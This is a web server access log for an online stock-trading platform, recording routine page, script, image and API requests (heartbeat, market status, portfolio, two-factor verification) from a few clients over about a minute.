[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767936528186 HTTP/1.1" 3188
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 125
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:13:24:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:13:24:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:24:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 294
[09/Jan/2026:13:24:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:13:24:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:13:24:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:13:24:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:13:24:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936530456 HTTP/1.1" -
[09/Jan/2026:13:24:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:24:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:24:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 207
[09/Jan/2026:13:24:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:24:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:24:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:13:24:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936530651 HTTP/1.1" -
[09/Jan/2026:13:24:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:13:24:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:24:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1296
[09/Jan/2026:13:24:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936535505 HTTP/1.1" -
[09/Jan/2026:13:24:28 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936535734 HTTP/1.1" -
[09/Jan/2026:13:24:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936540651 HTTP/1.1" -
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 430
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:13:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767936558035 HTTP/1.1" 3188
[09/Jan/2026:13:24:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
